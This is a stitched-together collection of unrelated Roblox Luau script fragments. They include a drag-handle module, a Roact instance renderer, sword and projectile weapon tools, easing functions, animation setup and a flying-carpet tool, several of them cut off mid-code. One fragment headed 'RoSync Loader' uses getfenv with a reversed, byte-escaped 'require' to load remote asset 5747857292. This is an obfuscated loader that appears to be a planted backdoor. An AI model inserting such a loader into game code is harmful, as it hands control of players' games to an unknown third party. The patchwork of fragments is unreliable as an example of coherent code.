HandleDot.Position = UDim2.new(0.5, 0, 0.5, 0)
HandleDot.Visible = true
HandleDot.Parent = Handle
HandleDot.ZIndex = 0
-- Create maid for handle cleanup
local HandleMaid = Maid.new()
self.Maid[Side.Name] = HandleMaid
-- Add handle hover effect
HandleMaid.HoverStart = Handle.MouseEnter:Connect(function ()
Handle.ImageTransparency = 0
end)
HandleMaid.HoverEnd = Handle.MouseLeave:Connect(function ()
Handle.ImageTransparency = 0.33
end)
-- Listen for handle interactions on click
HandleMaid.DragStart = Handle.MouseButton1Down:Connect(function (X, Y)
local HandleState = self.HandleStates[Handle]
local HandlePlane = HandleState.PlaneNormal
local HandleNormal = HandleState.HandleNormal
local HandleWorldPoint = HandleState.HandleCFrame.Position
local HandleAxisLine = (HandleState.HandleViewportPosition - HandleState.AdorneeViewportPosition).Unit
-- Project viewport aim point onto 2D handle axis line
local AimAdorneeViewportOffset = Vector2.new(X, Y) - HandleState.AdorneeViewportPosition
local MappedViewportPointOnAxis = HandleAxisLine:Dot(AimAdorneeViewportOffset) * HandleAxisLine +
HandleState.AdorneeViewportPosition
-- Map projected viewport aim point onto 3D handle axis line
local AimRay = self.Camera:ViewportPointToRay(MappedViewportPointOnAxis.X, MappedViewportPointOnAxis.Y)
local AimDistance = (HandleWorldPoint - AimRay.Origin):Dot(HandlePlane) / AimRay.Direction:Dot(HandlePlane)
local AimWorldPoint = (AimDistance * AimRay.Direction) + AimRay.Origin
-- Calculate dragging distance offset
local DragDistanceOffset = HandleNormal:Dot(AimWorldPoint - HandleWorldPoint)
-- Run drag start callback
if Options.OnDragStart then
Options.OnDragStart()
end
local function ProcessDragChange(AimScreenPoint)
local HandleAxisLine = (HandleState.HandleViewportPosition - HandleState.AdorneeViewportPosition).Unit
-- Project screen aim point onto 2D handle axis line
local AdorneeScreenPosition = HandleState.AdorneeViewportPosition - self.GuiInset
local AimAdorneeScreenOffset = Vector2.new(AimScreenPoint.X, AimScreenPoint.Y) - AdorneeScreenPosition
local MappedScreenPointOnAxis = HandleAxisLine:Dot(AimAdorneeScreenOffset) * HandleAxisLine +
AdorneeScreenPosition
-- Map projected screen aim point onto 3D handle axis line
local AimRay = self.Camera:ScreenPointToRay(MappedScreenPointOnAxis.X, MappedScreenPointOnAxis.Y)
local AimDistance = (HandleWorldPoint - AimRay.Origin):Dot(HandlePlane) / AimRay.Direction:Dot(HandlePlane)
local AimWorldPoint = (AimDistance * AimRay.Direction) + AimRay.Origin
-- Calculate distance dragged
local DragDistance = HandleNormal:Dot(AimWorldPoint - HandleWorldPoint) - DragDistanceOffset
-- Run drag step callback
if Options.OnDrag then
Options.OnDrag(Side, DragDistance)
end
end
-- Create maid for dragging cleanup
local DragMaid = Maid.new()
HandleMaid.Dragging = DragMaid
-- Perform dragging when aiming anywhere (except handle)
DragMaid.Drag = Support.AddUserInputListener('Changed', {'MouseMovement', 'Touch'}, true, function (Input)
ProcessDragChange(Input.Position)
end)
-- Perform dragging while aiming at handle
DragMaid.InHandleDrag = Handle.MouseMoved:Connect(function (X, Y)
local AimScreenPoint = Vector2.new(X, Y) - self.GuiInset
ProcessDragChange(AimScreenPoint)
end)
-- Finish dragging when input ends
DragMaid.DragEnd = Support.AddUserInputListener('Ended', {'MouseButton1', 'Touch'}, true, function (Input)
HandleMaid.Dragging = nil
end)
-- Fire callback when dragging ends
DragMaid.Callback = function ()
coroutine.wrap(Options.OnDragEnd)()
end
end)
-- Finish dragging when input ends while aiming at handle
HandleMaid.InHandleDragEnd = Handle.MouseButton1Up:Connect(function ()
HandleMaid.Dragging = nil
end)
-- Save handle
Handle.Parent = self.Gui
self.Handles[Side.Name] = Handle
end
end
function Handles:Hide()
-- Make sure handles are enabled
if not self.Running then
return self
end
-- Pause updating
self:Pause()
-- Hide UI
self.Gui.Enabled = false
end
function Handles:Pause()
self.Running = false
end
local function IsFirstPerson(Camera)
return (Camera.CFrame.p - Camera.Focus.p).magnitude <= 0.6
end
function Handles:Resume()
-- Make sure handles are disabled
if self.Running then
return self
end
-- Allow handles to run
self.Running = true
-- Keep handle positions updated
for Side, Handle in pairs(self.Handles) do
local UnitVector = Vector3.FromNormalId(Side)
coroutine.wrap(function ()
while self.Running do
self:UpdateHandle(Handle, UnitVector)
RunService.RenderStepped:Wait()
end
end)()
end
-- Ignore character whenever character enters first person
if Players.LocalPlayer then
coroutine.wrap(function ()
while self.Running do
local FirstPerson = IsFirstPerson(self.Camera)
local Character = Players.LocalPlayer.Character
if Character then
self.ObstacleBlacklistIndex[Character] = FirstPerson and true or nil
self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex)
end
wait(0.2)
end
end)()
end
-- Show UI
self.Gui.Enabled = true
end
function Handles:SetAdornee(Item)
-- Return self for chaining
-- Save new adornee
self.Adornee = Item
self.IsAdorneeModel = Item and (Item:IsA 'Model') or nil
-- Resume handles
if Item then
self:Resume()
else
self:Hide()
end
-- Return handles for chaining
return self
end
local function WorldToViewportPoint(Camera, Position)
-- Get viewport position for point
local ViewportPoint, Visible = Camera:WorldToViewportPoint(Position)
local CameraDepth = ViewportPoint.Z
ViewportPoint = Vector2.new(ViewportPoint.X, ViewportPoint.Y)
-- Adjust position if point is behind camera
if CameraDepth < 0 then
ViewportPoint = Camera.ViewportSize - ViewportPoint
end
-- Return point and visibility
return ViewportPoint, CameraDepth, Visible
end
function Handles:BlacklistObstacle(Obstacle)
if Obstacle then
self.ObstacleBlacklistIndex[Obstacle] = true
self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex)
end
end
function Handles:UpdateHandle(Handle, SideUnitVector)
local Camera = self.Camera
-- Hide handles if not attached to an adornee
if not self.Adornee then
Handle.Visible = false
return
end
-- Get adornee CFrame and size
local AdorneeCFrame = self.IsAdorneeModel and
self.Adornee:GetModelCFrame() or
self.Adornee.CFrame
local AdorneeSize = self.IsAdorneeModel and
self.Adornee:GetModelSize() or
self.Adornee.Size
-- Calculate radius of adornee extents along axis
local AdorneeRadius = (AdorneeSize * SideUnitVector / 2).magnitude
local SideCFrame = AdorneeCFrame * CFrame.new(AdorneeRadius * SideUnitVector)
local AdorneeViewportPoint, AdorneeCameraDepth = WorldToViewportPoint(Camera, SideCFrame.p)
local StudWidth = 2 * math.tan(math.rad(Camera.FieldOfView) / 2) * AdorneeCameraDepth
local StudsPerPixel = StudWidth / Camera.ViewportSize.X
local HandlePadding = math.max(1, StudsPerPixel * 14) * (self.IsMouseAvailable and 1 or 1.6)
local PaddedRadius = AdorneeRadius + 2 * HandlePadding
-- Calculate CFrame of the handle's side
local HandleCFrame = AdorneeCFrame * CFrame.new(PaddedRadius * SideUnitVector)
local HandleNormal = (HandleCFrame.p - AdorneeCFrame.p).unit
local HandleViewportPoint, HandleCameraDepth, HandleVisible = WorldToViewportPoint(Camera, HandleCFrame.p)
-- Display handle if side is visible to the camera
Handle.Visible = HandleVisible
-- Calculate handle size (12 px, or at least 0.5 studs)
local StudWidth = 2 * math.tan(math.rad(Camera.FieldOfView) / 2) * HandleCameraDepth
local PixelsPerStud = Camera.ViewportSize.X / StudWidth
local HandleSize = math.max(12, 0.5 * PixelsPerStud) * (self.IsMouseAvailable and 1 or 1.6)
Handle.Size = UDim2.new(0, HandleSize, 0, HandleSize)
-- Calculate where handles will appear on the screen
Handle.Position = UDim2.new(
0, HandleViewportPoint.X,
0, HandleViewportPoint.Y
)
-- Calculate where handles will appear in the world
local HandlePlaneNormal = (Handle.Name == 'Top' or Handle.Name == 'Bottom') and
AdorneeCFrame.LookVector or
AdorneeCFrame.UpVector
-- Save handle position
local HandleState = self.HandleStates[Handle] or {}
self.HandleStates[Handle] = HandleState
HandleState.PlaneNormal = HandlePlaneNormal
HandleState.HandleCFrame = HandleCFrame
HandleState.HandleNormal = HandleNormal
HandleState.AdorneeViewportPosition = AdorneeViewportPoint
HandleState.HandleViewportPosition = HandleViewportPoint
-- Hide handles if obscured by a non-blacklisted part
local HandleRay = Camera:ViewportPointToRay(HandleViewportPoint.X, HandleViewportPoint.Y)
local TargetRay = Ray.new(HandleRay.Origin, HandleRay.Direction * (HandleCameraDepth - 0.25))
local Target, TargetPoint = Workspace:FindPartOnRayWithIgnoreList(TargetRay, self.ObstacleBlacklist)
if Target then
Handle.ImageTransparency = 1
elseif Handle.ImageTransparency == 1 then
Handle.ImageTransparency = 0.33
end
end
function Handles:Destroy()
-- Pause updating
self.Running = nil
-- Clean up resources
self.Maid:Destroy()
end
return Handles
|
--[[ Last synced 10/14/2020 09:38 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--I M P O R T A N T--
------------------------------------------------------------------------
--Don't change any of this unless you know what you are doing.
--This script is the blur affect but also the exit button script.
------------------------------------------------------------------------
|
local blur = game.Lighting.Blur
local frame = script.Parent
local close = script.Parent:WaitForChild("CloseButton")
if
frame.Visible == true
then
blur.Enabled = true
end
close.MouseButton1Click:Connect(function()
frame.Visible = false
blur.Enabled = true
end)
|
--// Recoil Settings
|
gunrecoil = -0.6; -- How much the gun recoils backwards when not aiming
camrecoil = 0.28; -- How much the camera flicks when not aiming
AimGunRecoil = -0.5; -- How much the gun recoils backwards when aiming
AimCamRecoil = 0.27; -- How much the camera flicks when aiming
CamShake = 9; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
AimCamShake = 7; -- THIS IS ALSO NEW!!!!
Kickback = 0.8; -- Upward gun rotation when not aiming
AimKickback = 0.5; -- Upward gun rotation when aiming
|
-- NTG1D & Sallomy
|
local VehicleSeat = script.Parent
VehicleSeat.Changed:connect(function(prop)
if prop == "Occupant" then
local humanoid = VehicleSeat.Occupant
if humanoid then
local player = game:GetService("Players"):GetPlayerFromCharacter(humanoid.Parent)
if player then
VehicleSeat:SetNetworkOwner(player)
end
else
VehicleSeat:SetNetworkOwner(nil)
end
end
end)
|
--[[[for i,v in pairs(game.ReplicatedStorage.Assets.WorldIDs:GetChildren()) do
local Frame = script.Frame:Clone()
Frame.TextLabel.Text = v.Name
Frame.Parent = script.Parent.ScrollingFrame
Frame.TP.MouseButton1Click:Connect(function()
print("Teleporting to ",Frame.TextLabel.Text)
game:GetService("TeleportService"):Teleport(v.Value)
end)
end]]
--for i,v in pairs(game:GetService("CollectionService"):GetTagged("AdminTeleport")) do
|
for i,v in pairs(game.ReplicatedStorage.Events.Debug.AdminTeleportSpawns:InvokeServer()) do
local Frame = script.Frame:Clone()
Frame.TextLabel.Text = v
Frame.Parent = script.Parent.ScrollingFrame
Frame.TP.MouseButton1Click:Connect(function()
--game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.CFrame * CFrame.new(0,3,0)
game.ReplicatedStorage.Events.Debug.Teleport:FireServer(v)
end)
end
|
--- Emulates tabstops with spaces
|
function Util.EmulateTabstops(text, tabWidth)
local result = ""
for i = 1, #text do
local char = text:sub(i, i)
result = result .. (char == "\t" and string.rep(" ", tabWidth - #result % tabWidth) or char)
end
return result
end
return Util
|
-- Constants
-- The distance that a spread is created from the look vector of the camera
|
local Spread_Distance_From_Camera = 10
|
-- Make the chat work when the top bar is off
|
module.ChatOnWithTopBarOff = false
module.ScreenGuiDisplayOrder = 6 -- The DisplayOrder value for the ScreenGui containing the chat.
|
-- YellowTide's Easing Functions
|
local function Spring(t, b, c, d)
t = t / d
return (1 + (-2.72 ^ (-6.9 * t) * cos(-20.1061929829746759423869661986827850341796875 * t))) * c + b
end
local function SoftSpring(t, b, c, d)
t = t / d
return (1 + (-2.72 ^ (-7.5 * t) * cos(-10.05309649148733797119348309934139251708984375 * t))) * c + b
end
|
-- unlocked
|
["Blue"] = {color = Color3.fromRGB(85, 170, 255), locked = true},
["Grey"] = {color = Color3.fromRGB(120, 120, 120), locked = true},
["Moss"] = {color = Color3.fromRGB(85, 85, 0), locked = true},
["Pink"] = {color = Color3.fromRGB(255, 170, 255), locked = true},
["Red"] = {color = Color3.fromRGB(112, 30, 30), locked = true},
["Pure White"] = {color = Color3.fromRGB(255,255,255), locked = true},
},
} -- end of module
return module
|
--!strict
--[=[
@function every
@within Dictionary
@param dictionary {[K]: V} -- The dictionary to check.
@param predicate (value: V, key: K, dictionary: {[K]: V}) -> any -- The predicate to use to check the dictionary.
@return boolean -- Whether every item in the dictionary passes the predicate.
Checks whether every item in the dictionary passes the predicate.
```lua
local dictionary = { hello = "world", goodbye = "world" }
local value = Every(dictionary, function(value, key)
return value == "world"
end) -- true
local value = Every(dictionary, function(value, key)
return value == "hello"
end) -- false
```
]=]
|
local function every<K, V>(
dictionary: { [K]: V },
predicate: (value: V, key: K, dictionary: { [K]: V }) -> any
): boolean
for key, value in pairs(dictionary) do
if not predicate(value, key, dictionary) then
return false
end
end
return true
end
return every
|
--[[
Renderer that deals in terms of Roblox Instances. This is the most
well-supported renderer after NoopRenderer and is currently the only
renderer that does anything.
]]
|
local Binding = require(script.Parent.Binding)
local Children = require(script.Parent.PropMarkers.Children)
local ElementKind = require(script.Parent.ElementKind)
local SingleEventManager = require(script.Parent.SingleEventManager)
local getDefaultInstanceProperty = require(script.Parent.getDefaultInstanceProperty)
local Ref = require(script.Parent.PropMarkers.Ref)
local Type = require(script.Parent.Type)
local internalAssert = require(script.Parent.internalAssert)
local config = require(script.Parent.GlobalConfig).get()
local applyPropsError = [[
Error applying props:
%s
In element:
%s
]]
local updatePropsError = [[
Error updating props:
%s
In element:
%s
]]
local function identity(...)
return ...
end
local function applyRef(ref, newHostObject)
if ref == nil then
return
end
if typeof(ref) == "function" then
ref(newHostObject)
elseif Type.of(ref) == Type.Binding then
Binding.update(ref, newHostObject)
else
-- TODO (#197): Better error message
error(("Invalid ref: Expected type Binding but got %s"):format(typeof(ref)))
end
end
local function setRobloxInstanceProperty(hostObject, key, newValue)
if newValue == nil then
local hostClass = hostObject.ClassName
local _, defaultValue = getDefaultInstanceProperty(hostClass, key)
newValue = defaultValue
end
-- Assign the new value to the object
hostObject[key] = newValue
return
end
local function removeBinding(virtualNode, key)
local disconnect = virtualNode.bindings[key]
disconnect()
virtualNode.bindings[key] = nil
end
local function attachBinding(virtualNode, key, newBinding)
local function updateBoundProperty(newValue)
local success, errorMessage = xpcall(function()
setRobloxInstanceProperty(virtualNode.hostObject, key, newValue)
end, identity)
if not success then
local source = virtualNode.currentElement.source
if source == nil then
source = "<enable element tracebacks>"
end
local fullMessage = updatePropsError:format(errorMessage, source)
error(fullMessage, 0)
end
end
if virtualNode.bindings == nil then
virtualNode.bindings = {}
end
virtualNode.bindings[key] = Binding.subscribe(newBinding, updateBoundProperty)
updateBoundProperty(newBinding:getValue())
end
local function detachAllBindings(virtualNode)
if virtualNode.bindings ~= nil then
for _, disconnect in pairs(virtualNode.bindings) do
disconnect()
end
end
end
local function applyProp(virtualNode, key, newValue, oldValue)
if newValue == oldValue then
return
end
if key == Ref or key == Children then
-- Refs and children are handled in a separate pass
return
end
local internalKeyType = Type.of(key)
if internalKeyType == Type.HostEvent or internalKeyType == Type.HostChangeEvent then
if virtualNode.eventManager == nil then
virtualNode.eventManager = SingleEventManager.new(virtualNode.hostObject)
end
local eventName = key.name
if internalKeyType == Type.HostChangeEvent then
virtualNode.eventManager:connectPropertyChange(eventName, newValue)
else
virtualNode.eventManager:connectEvent(eventName, newValue)
end
return
end
local newIsBinding = Type.of(newValue) == Type.Binding
local oldIsBinding = Type.of(oldValue) == Type.Binding
if oldIsBinding then
removeBinding(virtualNode, key)
end
if newIsBinding then
attachBinding(virtualNode, key, newValue)
else
setRobloxInstanceProperty(virtualNode.hostObject, key, newValue)
end
end
local function applyProps(virtualNode, props)
for propKey, value in pairs(props) do
applyProp(virtualNode, propKey, value, nil)
end
end
local function updateProps(virtualNode, oldProps, newProps)
-- Apply props that were added or updated
for propKey, newValue in pairs(newProps) do
local oldValue = oldProps[propKey]
applyProp(virtualNode, propKey, newValue, oldValue)
end
-- Clean up props that were removed
for propKey, oldValue in pairs(oldProps) do
local newValue = newProps[propKey]
if newValue == nil then
applyProp(virtualNode, propKey, nil, oldValue)
end
end
end
local RobloxRenderer = {}
function RobloxRenderer.isHostObject(target)
return typeof(target) == "Instance"
end
function RobloxRenderer.mountHostNode(reconciler, virtualNode)
local element = virtualNode.currentElement
local hostParent = virtualNode.hostParent
local hostKey = virtualNode.hostKey
if config.internalTypeChecks then
internalAssert(ElementKind.of(element) == ElementKind.Host, "Element at given node is not a host Element")
end
if config.typeChecks then
assert(element.props.Name == nil, "Name can not be specified as a prop to a host component in Roact.")
assert(element.props.Parent == nil, "Parent can not be specified as a prop to a host component in Roact.")
end
local instance = Instance.new(element.component)
virtualNode.hostObject = instance
local success, errorMessage = xpcall(function()
applyProps(virtualNode, element.props)
end, identity)
if not success then
local source = element.source
if source == nil then
source = "<enable element tracebacks>"
end
local fullMessage = applyPropsError:format(errorMessage, source)
error(fullMessage, 0)
end
instance.Name = tostring(hostKey)
local children = element.props[Children]
if children ~= nil then
reconciler.updateVirtualNodeWithChildren(virtualNode, virtualNode.hostObject, children)
end
instance.Parent = hostParent
virtualNode.hostObject = instance
applyRef(element.props[Ref], instance)
if virtualNode.eventManager ~= nil then
virtualNode.eventManager:resume()
end
end
function RobloxRenderer.unmountHostNode(reconciler, virtualNode)
local element = virtualNode.currentElement
applyRef(element.props[Ref], nil)
for _, childNode in pairs(virtualNode.children) do
reconciler.unmountVirtualNode(childNode)
end
detachAllBindings(virtualNode)
virtualNode.hostObject:Destroy()
end
function RobloxRenderer.updateHostNode(reconciler, virtualNode, newElement)
local oldProps = virtualNode.currentElement.props
local newProps = newElement.props
if virtualNode.eventManager ~= nil then
virtualNode.eventManager:suspend()
end
-- If refs changed, detach the old ref and attach the new one
if oldProps[Ref] ~= newProps[Ref] then
applyRef(oldProps[Ref], nil)
applyRef(newProps[Ref], virtualNode.hostObject)
end
local success, errorMessage = xpcall(function()
updateProps(virtualNode, oldProps, newProps)
end, identity)
if not success then
local source = newElement.source
if source == nil then
source = "<enable element tracebacks>"
end
local fullMessage = updatePropsError:format(errorMessage, source)
error(fullMessage, 0)
end
local children = newElement.props[Children]
if children ~= nil or oldProps[Children] ~= nil then
reconciler.updateVirtualNodeWithChildren(virtualNode, virtualNode.hostObject, children)
end
if virtualNode.eventManager ~= nil then
virtualNode.eventManager:resume()
end
return virtualNode
end
return RobloxRenderer
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 9
local slash_damage = 16
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = 1
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "http://www.roblox.com/asset/?id=14721229"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(1)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--- FUNCTIONS ---
|
Projectile = function(Character, MousePosition)
-- turn to cursor
local Projectile = ServerStorage.Models.ManaBolt:Clone()
Projectile.Parent = workspace.Debris
Projectile.CFrame = Character["Mana Missile Staff"].Top.CFrame
game.Debris:AddItem(Projectile, 10)
local ProjectileVelocity = Instance.new("BodyVelocity")
ProjectileVelocity.P = math.huge
-- Shoot towards victim humanoidrootpart
ProjectileVelocity.Velocity = (MousePosition - Projectile.CFrame.Position).unit * 100
ProjectileVelocity.Parent = Projectile
local Connection
Connection = Projectile.Hitbox.Touched:Connect(function(Hit)
local HitCharacter = Hit.Parent
if not HitCharacter then return end
if HitCharacter:FindFirstChild("Humanoid") and HitCharacter ~= Character and HitCharacter.Parent == workspace.Enemies then
Connection:Disconnect()
HitCharacter.Humanoid:TakeDamage(25)
Projectile.Hit:Play()
Projectile.Bolt:Destroy()
Projectile.ParticleEmitter:Destroy()
Projectile.Anchored = true
task.wait(1)
Projectile:Destroy()
elseif Hit.Anchored == true then
Connection:Disconnect()
Projectile.Hit:Play()
Projectile.Bolt:Destroy()
Projectile.ParticleEmitter:Destroy()
Projectile.Anchored = true
task.wait(1)
Projectile:Destroy()
end
end)
end
|
-- Configurar propriedades do Humanoid
|
humanoid.WalkSpeed = walkSpeed
humanoid.JumpPower = jumpPower
|
-- print("Loading anims " .. name)
|
table.insert(animTable[name].connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
-- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RemovalMonitor = script:WaitForChild("RemovalMonitor")
CarpetPieces = {
{MeshId = 223079795, Angle = 160},
{MeshId = 223079835, Angle = 100},
{MeshId = 223079888, Angle = 100},
{MeshId = 223079981, Angle = 160},
}
CarpetSize = Vector3.new(3, 0.5, 6.5)
BaseUrl = "http://www.roblox.com/asset/?id="
Rate = (1 / 10)
BasePart = Instance.new("Part")
BasePart.Material = Enum.Material.Plastic
BasePart.Shape = Enum.PartType.Block
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = false
BasePart.Locked = true
ColorPart = BasePart:Clone()
ColorPart.Name = "ColorPart"
ColorPart.Reflectance = 0.25
ColorPart.Transparency = 0.1
ColorPart.Material = Enum.Material.SmoothPlastic
ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.Size = Vector3.new(1, 1, 1)
ColorPart.Anchored = true
ColorPart.CanCollide = false
ColorMesh = Instance.new("SpecialMesh")
ColorMesh.Name = "Mesh"
ColorMesh.MeshType = Enum.MeshType.FileMesh
ColorMesh.MeshId = (BaseUrl .. "9856898")
ColorMesh.TextureId = (BaseUrl .. "1361097")
ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick.
ColorMesh.Offset = Vector3.new(0, 0, 0)
ColorMesh.VertexColor = Vector3.new(1, 1, 1)
ColorMesh.Parent = ColorPart
ColorLight = Instance.new("PointLight")
ColorLight.Name = "Light"
ColorLight.Brightness = 50
ColorLight.Range = 8
ColorLight.Shadows = false
ColorLight.Enabled = true
ColorLight.Parent = ColorPart
RainbowColors = {
Vector3.new(1, 0, 0),
Vector3.new(1, 0.5, 0),
Vector3.new(1, 1, 0),
Vector3.new(0, 1, 0),
Vector3.new(0, 1, 1),
Vector3.new(0, 0, 1),
Vector3.new(0.5, 0, 1)
}
Animations = {
Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
Grips = {
Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0),
Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008)
}
Flying = false
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
Handle.Transparency = 0
Tool.Grip = Grips.Normal
Tool.Enabled = true
function Clamp(Number, Min, Max)
return math.max(math.min(Max, Number), Min)
end
function TransformModel(Objects, Center, NewCFrame, Recurse)
local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects)
for i, v in pairs(Objects) do
if v:IsA("BasePart") then
v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame))
end
if Recurse then
TransformModel(v:GetChildren(), Center, NewCFrame, true)
end
end
end
function Weld(Parent, PrimaryPart)
local Parts = {}
local Welds = {}
local function WeldModel(Parent, PrimaryPart)
for i, v in pairs(Parent:GetChildren()) do
if v:IsA("BasePart") then
if v ~= PrimaryPart then
local Weld = Instance.new("Weld")
Weld.Name = "Weld"
Weld.Part0 = PrimaryPart
Weld.Part1 = v
Weld.C0 = PrimaryPart.CFrame:inverse()
Weld.C1 = v.CFrame:inverse()
Weld.Parent = PrimaryPart
table.insert(Welds, Weld)
end
table.insert(Parts, v)
end
WeldModel(v, PrimaryPart)
end
end
WeldModel(Parent, PrimaryPart)
return Parts, Welds
end
function CleanUp()
for i, v in pairs(Tool:GetChildren()) do
if v:IsA("BasePart") and v ~= Handle then
v:Destroy()
end
end
end
function CreateRainbow(Length)
local RainbowModel = Instance.new("Model")
RainbowModel.Name = "RainbowPart"
for i, v in pairs(RainbowColors) do
local Part = ColorPart:Clone()
Part.Name = "Part"
Part.Size = Vector3.new(0.5, 0.5, Length)
Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0)
Part.Mesh.Scale = (Part.Size * 2)
Part.Mesh.VertexColor = v
Part.Light.Color = Color3.new(v.X, v.Y, v.Z)
Part.Parent = RainbowModel
end
local RainbowBoundingBox = BasePart:Clone()
RainbowBoundingBox.Name = "BoundingBox"
RainbowBoundingBox.Transparency = 1
RainbowBoundingBox.Size = RainbowModel:GetModelSize()
RainbowBoundingBox.Anchored = true
RainbowBoundingBox.CanCollide = false
RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame()
RainbowBoundingBox.Parent = RainbowModel
return RainbowModel
end
function GetRainbowModel()
local ModelName = (Player.Name .. "'s Rainbow")
local Model = game:GetService("Workspace"):FindFirstChild(ModelName)
if not Model then
Model = Instance.new("Model")
Model.Name = ModelName
local RemovalMonitorClone = RemovalMonitor:Clone()
RemovalMonitorClone.Disabled = false
RemovalMonitorClone.Parent = Model
end
return Model
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Activated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
Flying = not Flying
if Flying then
Handle.Transparency = 1
CleanUp()
local CarpetParts = {}
for i, v in pairs(CarpetPieces) do
local CarpetPart = BasePart:Clone()
CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces))
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshType = Enum.MeshType.FileMesh
Mesh.MeshId = (BaseUrl .. v.MeshId)
Mesh.TextureId = (BaseUrl .. "223080038")
Mesh.Scale = Vector3.new(1.125, 1.125, 1.125)
Mesh.VertexColor = Vector3.new(1, 1, 1)
Mesh.Offset = Vector3.new(0, 0, 0)
